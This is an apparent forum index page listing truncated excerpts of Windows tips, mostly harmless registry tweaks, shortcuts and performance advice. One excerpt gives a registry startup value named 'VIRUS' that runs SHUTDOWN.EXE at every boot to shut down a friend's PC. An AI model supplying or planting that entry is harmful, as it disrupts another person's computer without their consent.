Windows Operating System Tutorials

Microsoft Windows operating system articles, tutorials and resources
  Title Reverse Sort Order / Author Replies
Introduction Microsoft Outlook Express is a popular and free e-mail client that comes bundled with most versions of Windows client (except for Windows Vista, which replaces Outlook Express with Windows Mail). It's easy to set up, and it's easy to use. However, it's also a target for a lot...
Introduction NOTE: If you re connected to the internet then you must read this. Hackers finds a new way everyday to break into computers and virus making. Many binded viruses are uploaded in the net as if it is a original file from a trusted source. So how to protect yourself from these....
A proxy server is one that receives requests intended for another server and that acts on the behalf of the client (as the client proxy) to obtain the requested service. A proxy server is often used when the client and the server are incompatible for direct connection. For example, the client may...
Shutdown and Restart Timer Script using batch file. Copy All Code On Notepad And Save As Timer.bat @cd\ @echo off @title Nt Shutdown / Restart Timer Script @color 60 :ch3 goto about goto menu
Disclaimer : This is for education purpose only if something like this happens to you. How to do it Shutdown your friend's pc when every time its restarts. Add the following registry key and that should do the job for you. "VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this...
Open registry by typing the regedit in the Run Dialog box. Browse to: HKEY_CURRENT_USER\Control Panel\Desktop locate DWORD value "WaitToKillAppTimeout" which have a default value as "WaitToKillAppTimeout"="20000" This value represents the time(in milisecond) taken by window to end...
Some Useful Shortcut Commands Accessibility Controls access.cpl Add Hardware Wizard hdwwiz.cpl Add/Remove Programs appwiz.cpl
Enabling NumLock on by DefaultTo have numlock turned on for each user: Start Regedit Go to HKEY_CURRENT_USER\Control Panel\Keyboard\InitialKeyboardIndicators Change the value from 0 to 2 Turn Numlock on manually Log off and back on again. For all users, make the same change to...
Lock XP Workstation You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll, LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it...
If your Windows XP Pro system slows or even stops when you shut it down, there's a good chance that Terminal Services is the reason. Users often overlook Terminal Services as a possible source of shutdown problems because it works quietly in the background. Terminal Services is the brains...
Introduction Hello Once Aging Guys! :mean: Today I'm going to tell a great thing that will help you to get online while the cable Internet is not available! Procedure
Introduction Among all features of Windows ME or Windows XP the best is System Restore! Now I’m going to tell you a little bit about this system restoration process! THIS ARTICLE IS FOR THOSE WHO ARE NEW TO COMPUTING WORLD OR NEW TO WINDOWS! Why Should We Use This Feature? When we...
Important note: I cannot be held responsible when these files or your AV scanner in combination with these files cause any damage to your computer. YOU DOWNLOAD THESE FILES AT YOUR OWN RISK. Download these files only if you are sufficiently secure in the usage of...
Introduction Before writing this article, I searched the forum for existence of similar articles and found none, so I thought to share this with you all. I have seen many software that offer various ways to hide your files, but none of them was as satisfactory for me as the one I'm about to...
Why does my computer crash? 1. Bad Hardware 2. Bad Ram 3. Viruses (Unwanted Programs) 4. Denial Of Service Attacks. 5. Overheated. 6. Registry is Corrupt. 1. Bad hardware will say that its hardware conflict it can be Hardware so aren't properly installed on the computer.
What is the Registry? The Registry is a database used to store settings and options for the 32 bit versions of Microsoft Windows including Windows 95, 98, ME and NT/2000/XP. It contains information and settings for all the hardware, software, users, and preferences of the PC. Whenever a user...
Introduction I'm gonna tell you some process using these you can speed up your pc :crazy: The Procedure Just log on to your pc with any administrator account, and go to RUN ant type <msconfig> press enter. Then click services tab. Now I'm giving you some service names which are related...
Windows Vista works in the background to automatically index all the files in the Start Menu, user profile folders and files setup for offline access by default. If you have many files in these locations and the files change often, the indexing service may slow down your system's performance....
We all are different. We like different things; we want to be unique and try to avoid the routine. The same things apply to the user-operating system relationship. Windows comes in a rough initial “shape” but not everybody is willing to accept it. So here are some useful changes to make it more...
This article focuses mainly on uninstalling things such as windows messenger, WordPad and other similar components that cannot be uninstalled by any normal means. To normally remove XP utilities and components, you would normally go to control panel>add or remove programs>add/remove windows...